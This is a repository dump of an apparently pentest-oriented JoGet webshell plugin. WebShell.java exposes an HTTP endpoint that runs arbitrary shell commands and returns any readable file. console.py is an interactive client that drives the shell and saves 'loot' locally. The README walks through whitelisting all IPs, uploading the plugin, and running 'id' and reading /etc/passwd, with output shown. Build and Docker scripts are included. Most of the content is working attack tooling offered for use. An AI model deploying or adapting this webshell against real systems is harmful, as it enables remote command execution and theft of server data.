├── .github ├── demo.mp4 ├── FUNDING.yml ├── exec_code_web.png ├── upload_a_plugin.png ├── ip_whitelist_api.png ├── manage_plugins_interface.png └── plugin_installed_and_ready.png ├── plugin ├── target │ └── webshell-1.3.0.jar ├── src │ └── main │ │ └── java │ │ └── podalirius │ │ ├── Activator.java │ │ └── WebShell.java ├── build.sh └── pom.xml ├── dev_env ├── patch.sh ├── Dockerfile └── Makefile ├── README.md ├── console.py └── docs ├── Missing-requirement-error-while-importing-a-plugin.md └── Missing-requirement-error-while-importing-a-plugin-traceback.txt /.github/demo.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/JoGet-webshell-plugin/HEAD/.github/demo.mp4 -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: p0dalirius 4 | patreon: Podalirius -------------------------------------------------------------------------------- /.github/exec_code_web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/JoGet-webshell-plugin/HEAD/.github/exec_code_web.png -------------------------------------------------------------------------------- /.github/upload_a_plugin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/JoGet-webshell-plugin/HEAD/.github/upload_a_plugin.png -------------------------------------------------------------------------------- /.github/ip_whitelist_api.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/JoGet-webshell-plugin/HEAD/.github/ip_whitelist_api.png -------------------------------------------------------------------------------- /plugin/target/webshell-1.3.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/JoGet-webshell-plugin/HEAD/plugin/target/webshell-1.3.0.jar -------------------------------------------------------------------------------- /.github/manage_plugins_interface.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/JoGet-webshell-plugin/HEAD/.github/manage_plugins_interface.png -------------------------------------------------------------------------------- /.github/plugin_installed_and_ready.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/JoGet-webshell-plugin/HEAD/.github/plugin_installed_and_ready.png -------------------------------------------------------------------------------- /dev_env/patch.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | if [[ $# -ne 1 ]]; then 4 | echo "Usage: ${0} " 5 | exit 6 | fi 7 | 8 | if [[ ! -f ${1} ]]; then 9 | echo "[!] Could not access file ${1}." 10 | exit 11 | fi 12 | 13 | TEMPDIR=$(mktemp -d) 14 | 15 | # Unpack everything 16 | cp ${1} ${TEMPDIR}/${1%.*}.zip 17 | mkdir -p ${TEMPDIR}/new/ 18 | unzip ${TEMPDIR}/${1%.*}.zip -d ${TEMPDIR}/new/ 19 | 20 | # Actual fix 21 | sed -i 's/;version="\[3.0,4)"//g' ${TEMPDIR}/new/META-INF/MANIFEST.MF 22 | 23 | # Pack everything up 24 | pushd ${TEMPDIR}/new/ >/dev/null 25 | zip -r ${TEMPDIR}/new.zip . 26 | popd >/dev/null 27 | cp ${TEMPDIR}/new.zip ./${1%.*}-patched.jar 28 | 29 | echo "[>] Saved to ${TEMPDIR}/${1%.*}-patched.jar" 30 | -------------------------------------------------------------------------------- /plugin/src/main/java/podalirius/Activator.java: -------------------------------------------------------------------------------- 1 | package podalirius; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Collection; 5 | import java.io.IOException; 6 | import org.osgi.framework.BundleActivator; 7 | import org.osgi.framework.BundleContext; 8 | import org.osgi.framework.ServiceRegistration; 9 | 10 | public class Activator implements BundleActivator { 11 | 12 | protected Collection registrationList; 13 | 14 | public void start(BundleContext context) { 15 | registrationList = new ArrayList(); 16 | 17 | //Register plugin here 18 | registrationList.add(context.registerService(WebShell.class.getName(), new WebShell(), null)); 19 | } 20 | 21 | public void stop(BundleContext context) { 22 | for (ServiceRegistration registration : registrationList) { 23 | registration.unregister(); 24 | } 25 | } 26 | } -------------------------------------------------------------------------------- /plugin/build.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 4 | info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 5 | warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; } 6 | 7 | VERSION="1.3.0" 8 | PROJECTNAME="webshell" 9 | 10 | #======================================================================================================================= 11 | 12 | info "Building for Apache Tomcat 9.x and lower" 13 | 14 | # Prepare configuration 15 | log "Setting version = '${VERSION}' in pom.xml ..." 16 | sed -i "s!^ .*! ${VERSION}!g" /plugin/pom.xml 17 | 18 | log "Setting version = '${VERSION}' in src/main/java/podalirius/WebShell.java ..." 19 | sed -i "s!public String getVersion() { return \".*\"; }!public String getVersion() { return \"${VERSION}\"; }!g" /plugin/src/main/java/podalirius/WebShell.java 20 | 21 | log "Starting build ..." 22 | 23 | cd /plugin/ 24 | mvn clean install -Dmaven.test.skip=true 25 | 26 | # Cleanup 27 | log "Cleanup build environnement ..." 28 | if [[ -d /plugin/target/classes/ ]]; then 29 | rm -rf /plugin/target/classes/; 30 | fi -------------------------------------------------------------------------------- /dev_env/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:buster 2 | 3 | ENV PLUGIN_VERSION="1.3.0" 4 | ENV jogetDependencyVersion="7.0-SNAPSHOT" 5 | 6 | ENV DEBIAN_FRONTEND=noninteractive 7 | RUN apt-get -qq -y update; \ 8 | apt-get -qq -y install wget tar git zip unzip default-jre maven; \ 9 | mkdir -p /joget/; cd /joget/ 10 | 11 | WORKDIR /root/ 12 | 13 | RUN wget "https://dev.joget.org/community/download/attachments/26117256/wflow.zip?version=1&modificationDate=1441685239000&api=v2" -O /root/wflow.zip; unzip wflow.zip 14 | 15 | WORKDIR /joget/ 16 | 17 | RUN wget "https://dev.joget.org/community/download/attachments/26117256/install-libraries.zip?version=1&modificationDate=1458793220000&api=v2" -O install-libraries.zip; \ 18 | unzip install-libraries.zip ; \ 19 | rm -rf __MACOSX ; \ 20 | cd install-libraries; \ 21 | chmod +x install_linux.sh ; \ 22 | ./install_linux.sh 23 | 24 | RUN git clone https://github.com/jogetworkflow/jw-community.git --branch ${jogetDependencyVersion} ; \ 25 | cd jw-community/wflow-app; \ 26 | mvn clean install -Dmaven.test.skip=true 27 | 28 | RUN chmod +x /joget/jw-community/wflow-plugin-archetype/create-plugin.sh ; \ 29 | cd /; printf "${PLUGIN_VERSION}\ny\n" | /joget/jw-community/wflow-plugin-archetype/create-plugin.sh org.joget.webshell plugin ${jogetDependencyVersion}; \ 30 | echo "" 31 | 32 | VOLUME /plugin/ 33 | 34 | CMD ["/bin/bash"] -------------------------------------------------------------------------------- /dev_env/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all access firstrun build start stop 2 | 3 | IMAGE := env_dev_joget_plugin 4 | 5 | all : stop build compile 6 | 7 | build: 8 | @docker build -t ${IMAGE}:latest -f Dockerfile . 9 | 10 | compile: 11 | @docker run -it -v $(shell pwd)/../plugin/:/plugin/ ${IMAGE} "/plugin/build.sh" 12 | 13 | access: 14 | docker exec -it $(shell docker ps | grep ${IMAGE} | awk '{split($$0,a," "); print a[1]}') 15 | 16 | start: 17 | @if [ $(shell docker ps -a | grep ${IMAGE} | head -n1 | awk '{split($$0,a," "); print a[1]}' | wc -l) -eq 0 ]; then \ 18 | echo "[+] Building image ${IMAGE} ..." ;\ 19 | make build ;\ 20 | fi 21 | @if [ $(shell docker ps -f status=running | grep ${IMAGE} | head -n1 | wc -l) -ne 0 ]; then \ 22 | echo "[+] Instance $(shell docker ps -a | grep ${IMAGE} | head -n1 | awk '{split($$0,a," "); print a[1]}') of image ${IMAGE} is already running." ;\ 23 | else \ 24 | echo "[+] Starting instance $(shell docker ps -a | grep ${IMAGE} | head -n1 | awk '{split($$0,a," "); print a[1]}') of image ${IMAGE} ..." ;\ 25 | docker start $(shell docker ps -a | grep ${IMAGE} | head -n1 | awk '{split($$0,a," "); print a[1]}') ;\ 26 | echo "[+] Done !"; \ 27 | fi 28 | 29 | stop: 30 | @if [ $(shell docker ps -f status=running | grep ${IMAGE} | head -n1 | wc -l) -eq 0 ]; then \ 31 | echo "[+] Instance $(shell docker ps -a | grep ${IMAGE} | head -n1 | awk '{split($$0,a," "); print a[1]}') of image ${IMAGE} was found but is not running." ;\ 32 | else \ 33 | echo "[+] Stopping instance $(shell docker ps -a | grep ${IMAGE} | head -n1 | awk '{split($$0,a," "); print a[1]}') of image ${IMAGE} ..." ;\ 34 | docker stop $(shell docker ps -a | grep ${IMAGE} | head -n1 | awk '{split($$0,a," "); print a[1]}') -t 1 ;\ 35 | echo "[+] Done !"; \ 36 | fi 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # JoGet webshell plugin for RCE 2 | 3 |

4 | A webshell plugin and interactive shell for pentesting JoGet application. 5 |
6 | GitHub release (latest by date) 7 | 8 | YouTube Channel Subscribers 9 |
10 |

11 | 12 | ## Features 13 | 14 | - [x] Webshell plugin for JoGet. 15 | - [x] Execute system commands via an API with `?action=exec`. 16 | - [x] Download files from the remote system to your attacking machine `?action=download`. 17 | 18 | ## Usage 19 | 20 | **Requirements**: You need to have the credentials of the `admin` account of the JoGet instance. 21 | 22 | ### Step 1: Whitelist your IP in the API 23 | 24 | First of all, you will need to whitelist your IP in the API (or put `*` to match every source IP). This will allow you to perform requests on the `/jw/web/json` endpoint. 25 | 26 | - **API Domain Whitelist**: `*` 27 | - **API IP Whitelist**: `*` 28 | 29 | ![](./.github/ip_whitelist_api.png) 30 | 31 | ### Step 2: Upload the webshell plugin 32 | 33 | Go to "Manage plugins" page, at http://127.0.0.1:8000/jw/web/console/setting/plugin, and click on "Upload plugin": 34 | 35 | ![](./.github/manage_plugins_interface.png) 36 | 37 | Then choose the JAR file of the webshell plugin and click on "Upload": 38 | 39 | ![](./.github/upload_a_plugin.png) 40 | 41 | ### Step 3.1: Executing commands 42 | 43 | You can now execute commands by sending a GET or POST request to http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service with `action=exec&cmd=id`: 44 | 45 | ```sh 46 | $ curl -X POST 'http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service' --data "action=exec&cmd=id" 47 | {"stdout":"uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat),0(root),27(sudo)\n","stderr":"","exec":["/bin/bash","-c","id"]} 48 | ``` 49 | 50 | You can also access it by a GET request from a browser: 51 | 52 | ![](./.github/exec_code_web.png) 53 | 54 | ### Step 3.2: Downloading files 55 | 56 | You can also download remote files by sending a GET or POST request to http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service with `action=download&cmd=/etc/passwd`: 57 | 58 | ```sh 59 | $ curl -X POST 'http://127.0.0.1:8000/jw/web/json/plugin/podalirius.WebShell/service' --data "action=download&path=/etc/passwd" -o- 60 | root:x:0:0:root:/root:/bin/bash 61 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 62 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 63 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 64 | sync:x:4:65534:sync:/bin:/bin/sync 65 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 66 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 67 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 68 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 69 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 70 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 71 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 72 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 73 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 74 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 75 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 76 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 77 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 78 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 79 | mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false 80 | tomcat:x:1000:1000::/home/tomcat:/bin/sh 81 | ``` 82 | 83 | ### Step 4: The interactive console 84 | 85 | When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files. 86 | 87 | https://user-images.githubusercontent.com/79218792/158264654-df612180-9de5-4b5b-b3a2-ad22ae05b889.mp4 88 | 89 | ## Development 90 | 91 | If you need to compile this plugin, you can use the docker image provided in the [dev_env](./dev_env) folder. It recreates the [Joget Workflow Open Source](https://dev.joget.org/community/display/KBv6/Joget+Workflow+Open+Source) build environnement to build plugins. 92 | 93 | Then if you need to test the plugin locally, you can start a JoGet instance with the official docker image like this: 94 | 95 | ``` 96 | docker run -d -p 8000:8080 --rm docker.io/jogetworkflow/joget-community 97 | ``` 98 | 99 | Don't forget to check `docker logs -f ` to see logs of the running JoGet instance. This is really useful for debugging, especially if you encounter a "[Missing requirement error while importing a plugin](./docs/Missing-requirement-error-while-importing-a-plugin.md)". 100 | 101 | ## References 102 | 103 | - https://dev.joget.org/community/display/KBv6/Guideline+for+developing+a+plugin 104 | 105 | - https://dev.joget.org/community/display/KBv6/Web+Service+Plugin 106 | 107 | - https://dev.joget.org/community/display/KBv4/Implement+Web+Service+or+Servlet+with+Plugin 108 | 109 | 110 | - **Useful links for debugging module import** 111 | + https://thecarlhall.wordpress.com/2012/01/19/understanding-the-unresolved-constraint-missing-resource-message-from-apache-felix/ 112 | + https://thecarlhall.wordpress.com/2012/07/11/understanding-the-unresolved-constraint-missing-requirement-message-from-apache-felix-pt-2/ 113 | -------------------------------------------------------------------------------- /console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : console.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 14 Mar 2022 6 | 7 | import argparse 8 | import os 9 | import readline 10 | import requests 11 | import json 12 | 13 | 14 | class CommandCompleter(object): 15 | def __init__(self): 16 | self.options = { 17 | "help": [], 18 | "download": [], 19 | "exit": [] 20 | } 21 | 22 | def complete(self, text, state): 23 | if state == 0: 24 | if len(text) == 0: 25 | self.matches = [s for s in self.options.keys()] 26 | elif len(text) != 0: 27 | self.matches = [s for s in self.options.keys() if s and s.startswith(text)] 28 | try: 29 | return self.matches[state] + " " 30 | except IndexError: 31 | return None 32 | 33 | 34 | readline.set_completer(CommandCompleter().complete) 35 | readline.parse_and_bind('tab: complete') 36 | readline.set_completer_delims('\n') 37 | 38 | 39 | def parseArgs(): 40 | parser = argparse.ArgumentParser(description="Interactive console for LimeSurvey webshell plugin") 41 | parser.add_argument("-t", "--target", default=None, required=True, help='JoGet target instance') 42 | parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") 43 | parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') 44 | return parser.parse_args() 45 | 46 | 47 | def remote_exec(target, cmd, verbose=False): 48 | try: 49 | r = requests.post( 50 | "%s/jw/web/json/plugin/podalirius.WebShell/service" % target, 51 | data={ 52 | "action": "exec", 53 | "cmd": cmd, 54 | } 55 | ) 56 | if r.status_code == 200: 57 | data = r.json() 58 | if verbose: 59 | print(json.dumps(data, indent=4)) 60 | if len(data["stdout"].strip()) != 0: 61 | print(data["stdout"].strip()) 62 | 63 | if len(data["stderr"].strip()) != 0: 64 | for line in data["stderr"].strip().split('\n'): 65 | print("\x1b[91m%s\x1b[0m" % line) 66 | except Exception as e: 67 | print(e) 68 | 69 | 70 | def remote_download(target, remote_path, local_path="./loot/", verbose=False): 71 | def b_filesize(content): 72 | l = len(content) 73 | units = ['B','kB','MB','GB','TB','PB'] 74 | for k in range(len(units)): 75 | if l < (1024**(k+1)): 76 | break 77 | return "%4.2f %s" % (round(l/(1024**(k)),2), units[k]) 78 | # 79 | r = requests.post( 80 | "%s/jw/web/json/plugin/podalirius.WebShell/service" % target, 81 | data={ 82 | "action": "download", 83 | "path": remote_path, 84 | } 85 | ) 86 | 87 | if r.status_code == 200: 88 | if "application/json" in r.headers["Content-Type"]: 89 | data = r.json() 90 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", data["error"])) 91 | return False 92 | else: 93 | print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path)) 94 | dir = local_path + os.path.dirname(remote_path) 95 | if not os.path.exists(dir): 96 | os.makedirs(dir, exist_ok=True) 97 | f = open(local_path + remote_path, "wb") 98 | f.write(r.content) 99 | f.close() 100 | return True 101 | else: 102 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", remote_path)) 103 | return False 104 | 105 | 106 | def show_help(): 107 | print(" - %-15s %s " % ("download", "Downloads a file from the remote server.")) 108 | print(" - %-15s %s " % ("help", "Displays this help message.")) 109 | print(" - %-15s %s " % ("exit", "Exits the script.")) 110 | return 111 | 112 | 113 | if __name__ == '__main__': 114 | options = parseArgs() 115 | 116 | if not options.target.startswith("https://") and not options.target.startswith("http://"): 117 | options.target = "http://" + options.target 118 | 119 | if options.insecure_tls: 120 | # Disable warings of insecure connection for invalid cerificates 121 | requests.packages.urllib3.disable_warnings() 122 | # Allow use of deprecated and weak cipher methods 123 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 124 | try: 125 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 126 | except AttributeError: 127 | pass 128 | 129 | running = True 130 | while running: 131 | cmd = input("[webshell]> ").strip() 132 | args = cmd.lower().split(" ") 133 | 134 | if args[0] == "exit": 135 | running = False 136 | elif args[0] == "help": 137 | show_help() 138 | elif args[0] == "download": 139 | if len(args) != 2 and len(args) != 3: 140 | print("Usage: download [localpath]") 141 | elif len(args) == 2: 142 | remote_download(options.target, remote_path=args[1]) 143 | elif len(args) == 3: 144 | remote_download(options.target, remote_path=args[1], local_path=args[2]) 145 | else: 146 | remote_exec(options.target, cmd, verbose=options.verbose) 147 | -------------------------------------------------------------------------------- /plugin/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4.0.0 4 | podalirius 5 | webshell 6 | bundle 7 | 1.3.0 8 | webshell 9 | http://www.joget.org 10 | 11 | 12 | 13 | maven-compiler-plugin 14 | 2.0.2 15 | 16 | 1.7 17 | 1.7 18 | 19 | 20 | 21 | org.apache.maven.plugins 22 | maven-surefire-plugin 23 | 2.4.3 24 | 25 | false 26 | 27 | 28 | 29 | integration-test 30 | integration-test 31 | 32 | test 33 | 34 | 35 | false 36 | 37 | 38 | 39 | 40 | 41 | org.apache.felix 42 | maven-bundle-plugin 43 | true 44 | 45 | 46 | 47 | podalirius 48 | podalirius.* 49 | podalirius.Activator 50 | !*,org.joget.report.dao,org.joget.report.model,org.joget.report.service,org.joget.commons.util,org.joget.plugin.base,org.joget.plugin.property.model,org.joget.plugin.property.service,org.joget.directory.model,org.joget.directory.model.service,org.joget.directory.dao,org.joget.workflow.model,org.joget.workflow.model.dao,org.joget.workflow.model.service,org.joget.workflow.util,org.joget.apps.app.dao,org.joget.apps.app.lib,org.joget.apps.app.model,org.joget.apps.app.service,org.joget.apps.datalist.lib,org.joget.apps.datalist.model,org.joget.apps.datalist.service,org.joget.apps.form.lib,org.joget.apps.form.dao,org.joget.apps.form.model,org.joget.apps.form.service,org.joget.apps.list.service,org.joget.apps.userview.lib,org.joget.apps.userview.model,org.joget.apps.userview.service,org.joget.apps.workflow.lib,javax.servlet,javax.servlet.http,org.osgi.framework;version="1.3.0" 51 | 52 | *;scope=compile|runtime;inline=false 53 | true 54 | dependency 55 | true 56 | * 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | junit 65 | junit 66 | 4.4 67 | test 68 | 69 | 70 | org.springframework 71 | spring 72 | 2.5.6.SEC02 73 | test 74 | 75 | 76 | org.springframework 77 | spring-test 78 | 2.5.6.SEC02 79 | test 80 | 81 | 82 | org.joget 83 | wflow-core 84 | 7.0-SNAPSHOT 85 | provided 86 | 87 | 88 | 89 | javax.servlet 90 | servlet-api 91 | 2.3 92 | 93 | 94 | javax.servlet 95 | jsp-api 96 | 2.0 97 | 98 | 99 | org.json 100 | json 101 | 20080701 102 | 103 | 104 | commons-collections 105 | commons-collections 106 | 3.2.1 107 | 108 | 109 | org.apache.commons 110 | commons-lang3 111 | 3.10 112 | 113 | 114 | commons-lang 115 | commons-lang 116 | 2.5 117 | 118 | 119 | 120 | 121 | 122 | internal 123 | http://dev.joget.org/archiva/repository/internal 124 | 125 | 126 | snapshots 127 | http://dev.joget.org/archiva/repository/snapshots 128 | 129 | 130 | 131 | -------------------------------------------------------------------------------- /plugin/src/main/java/podalirius/WebShell.java: -------------------------------------------------------------------------------- 1 | package podalirius; 2 | 3 | import org.apache.commons.lang3.SystemUtils; 4 | import java.io.IOException; 5 | import java.io.Writer; 6 | import java.io.File; 7 | import java.io.FileInputStream; 8 | import java.io.BufferedReader; 9 | import java.io.InputStreamReader; 10 | import java.util.Map; 11 | import javax.servlet.ServletException; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import javax.servlet.ServletOutputStream; 15 | import org.joget.plugin.base.DefaultPlugin; 16 | import org.joget.plugin.base.ExtDefaultPlugin; 17 | import org.joget.plugin.base.PluginProperty; 18 | import org.joget.plugin.base.PluginWebSupport; 19 | import org.json.JSONObject; 20 | import org.json.JSONException; 21 | 22 | /** 23 | * 24 | * @author Podalirius 25 | */ 26 | public class WebShell extends ExtDefaultPlugin implements PluginWebSupport { 27 | 28 | public String getName() { 29 | return "JoGet WebShell plugin"; 30 | } 31 | 32 | public String getVersion() { return "1.3.0"; } 33 | 34 | public String getDescription() { 35 | return "JoGet WebShell plugin by @podalirius_"; 36 | } 37 | 38 | public PluginProperty[] getPluginProperties() { 39 | return null; 40 | } 41 | 42 | public Object execute(Map properties) { 43 | return null; 44 | } 45 | 46 | @Override 47 | public void webService(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 48 | String action = request.getParameter("action"); 49 | 50 | if ("exec".equals(action)) { 51 | System.out.println("exec"); 52 | String cmd = request.getParameter("cmd"); 53 | action_exec(response.getWriter(), cmd); 54 | } else if ("download".equals(action)) { 55 | System.out.println("download"); 56 | String path = request.getParameter("path"); 57 | action_download(response, path); 58 | } else if ("upload".equals(action)) { 59 | System.out.println("upload"); 60 | String path = request.getParameter("path"); 61 | 62 | } 63 | } 64 | 65 | private void action_exec(Writer writer, String cmd) { 66 | String stdout = ""; 67 | String stderr = ""; 68 | String linebuffer = ""; 69 | 70 | String[] commands = {"/bin/bash", "-c", cmd}; 71 | 72 | if (SystemUtils.IS_OS_WINDOWS) { 73 | commands[0] = "cmd.exe"; 74 | commands[1] = "/c"; 75 | } else if (SystemUtils.IS_OS_AIX) { 76 | commands[0] = "/bin/ksh"; 77 | commands[1] = "/c"; 78 | } else if (SystemUtils.IS_OS_LINUX) { 79 | commands[0] = "/bin/bash"; 80 | commands[1] = "-c"; 81 | } else if (SystemUtils.IS_OS_MAC) { 82 | commands[0] = "/bin/dash"; 83 | commands[1] = "-c"; 84 | } 85 | 86 | try { 87 | Runtime rt = Runtime.getRuntime(); 88 | Process proc = rt.exec(commands); 89 | BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream())); 90 | BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream())); 91 | // Read the output from the command 92 | while ((linebuffer = stdInput.readLine()) != null) { stdout += linebuffer+"\n"; } 93 | // Read any errors from the attempted command 94 | while ((linebuffer = stdError.readLine()) != null) { stderr += linebuffer+"\n"; } 95 | } catch(IOException e) { 96 | e.printStackTrace(); 97 | } 98 | 99 | try { 100 | JSONObject result = new JSONObject(); 101 | result.put("exec", commands); 102 | result.put("stdout", stdout); 103 | result.put("stderr", stderr); 104 | result.write(writer); 105 | } catch(JSONException e) { 106 | e.printStackTrace(); 107 | } 108 | } 109 | 110 | private void action_download(HttpServletResponse response, String path) { 111 | if (path == null) { 112 | try { 113 | JSONObject result = new JSONObject(); 114 | result.put("action", "download"); 115 | result.put("error", "Missing 'path' argument in http request."); 116 | result.write(response.getWriter()); 117 | } catch(Exception jsonerr) { 118 | jsonerr.printStackTrace(); 119 | } 120 | } else { 121 | try { 122 | File f = new File(path); 123 | if (f.exists()) { 124 | if (f.isFile()) { 125 | if (f.canRead()) { 126 | response.setContentType("application/octet-stream"); 127 | response.setHeader("Content-Disposition", "attachment;filename=\"" + f.getName() + "\""); 128 | FileInputStream fileInputStream = new FileInputStream(path); 129 | ServletOutputStream httpResponse = response.getOutputStream(); 130 | byte[] buffer = new byte[1024]; 131 | while (fileInputStream.available() > 0) { 132 | fileInputStream.read(buffer); 133 | httpResponse.write(buffer); 134 | } 135 | httpResponse.flush(); 136 | httpResponse.close(); 137 | fileInputStream.close(); 138 | } else { 139 | try { 140 | JSONObject result = new JSONObject(); 141 | result.put("action", "download"); 142 | result.put("error", "File " + path + " exists but is not readable."); 143 | result.write(response.getWriter()); 144 | } catch(JSONException jsonerr) { 145 | jsonerr.printStackTrace(); 146 | } 147 | } 148 | } else { 149 | try { 150 | JSONObject result = new JSONObject(); 151 | result.put("action", "download"); 152 | result.put("error", "Path " + path + " is not a file (maybe a directory or a pipe)."); 153 | result.write(response.getWriter()); 154 | } catch(JSONException jsonerr) { 155 | jsonerr.printStackTrace(); 156 | } 157 | } 158 | } else { 159 | try { 160 | JSONObject result = new JSONObject(); 161 | result.put("action", "download"); 162 | result.put("error", "Path " + path + " does not exist or is not readable."); 163 | result.write(response.getWriter()); 164 | } catch(JSONException jsonerr) { 165 | jsonerr.printStackTrace(); 166 | } 167 | } 168 | } catch (Exception err) { 169 | try { 170 | JSONObject result = new JSONObject(); 171 | result.put("action", "download"); 172 | result.put("error", err.getMessage()); 173 | result.write(response.getWriter()); 174 | } catch(Exception jsonerr) { 175 | jsonerr.printStackTrace(); 176 | } 177 | } 178 | } 179 | } 180 | } 181 | -------------------------------------------------------------------------------- /docs/Missing-requirement-error-while-importing-a-plugin.md: -------------------------------------------------------------------------------- 1 | # Missing requirement error while importing a plugin 2 | 3 | If you encounter the following error in the JoGet workflow logs while importing a plugin: 4 | 5 | ``` 6 | ERROR 14 Mar 2022 21:37:26 org.joget.plugin.base.PluginManager - Failed bundle start for org.joget.webshell [1]: org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.1): missing requirement [org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 7 | org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.1): missing requirement [org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.1)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 8 | at org.apache.felix.framework.Felix.resolveBundleRevision(Felix.java:4368) ~[org.apache.felix.main-6.0.2.jar:?] 9 | ... 10 | at java.lang.Thread.run(Thread.java:829) [?:?] 11 | INFO 14 Mar 2022 21:37:27 org.joget.plugin.base.PluginManager - admin installed plugin (webshell-1.0.jar). 12 | ERROR 14 Mar 2022 21:37:27 org.joget.plugin.base.PluginManager - Failed bundle start for org.joget.webshell [1]: org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.2): missing requirement [org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 13 | org.osgi.framework.BundleException: Unable to resolve org.joget.webshell [1](R 1.2): missing requirement [org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0))) Unresolved requirements: [[org.joget.webshell [1](R 1.2)] osgi.wiring.package; (&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))] 14 | at org.apache.felix.framework.Felix.resolveBundleRevision(Felix.java:4368) ~[org.apache.felix.main-6.0.2.jar:?] 15 | ... 16 | at java.lang.Thread.run(Thread.java:829) [?:?] 17 | INFO 14 Mar 2022 21:37:27 org.joget.plugin.base.PluginManager - Installed plugin webshell-1.0.jar 18 | ``` 19 | 20 | This means the application cannot satisfy the requirement `(&(osgi.wiring.package=javax.servlet)(version>=3.0.0)(!(version>=4.0.0)))`, that is `javax.servlet` version in [3.0.0, 3.x.x] (but not the 4.0.0). 21 | 22 | This error happens because the MANIFEST.MF generated by maven is wrong: 23 | 24 | ``` 25 | Manifest-Version: 1.0 26 | Bnd-LastModified: 1647246564211 27 | Build-Jdk-Spec: 11 28 | Bundle-Activator: sample.Activator 29 | Bundle-ClassPath: .,dependency/servlet-api-2.3.jar,dependency/jsp-api- 30 | 2.0.jar,dependency/json-20080701.jar,dependency/commons-collections-3 31 | .2.1.jar,dependency/commons-lang-2.5.jar 32 | Bundle-ManifestVersion: 2 33 | 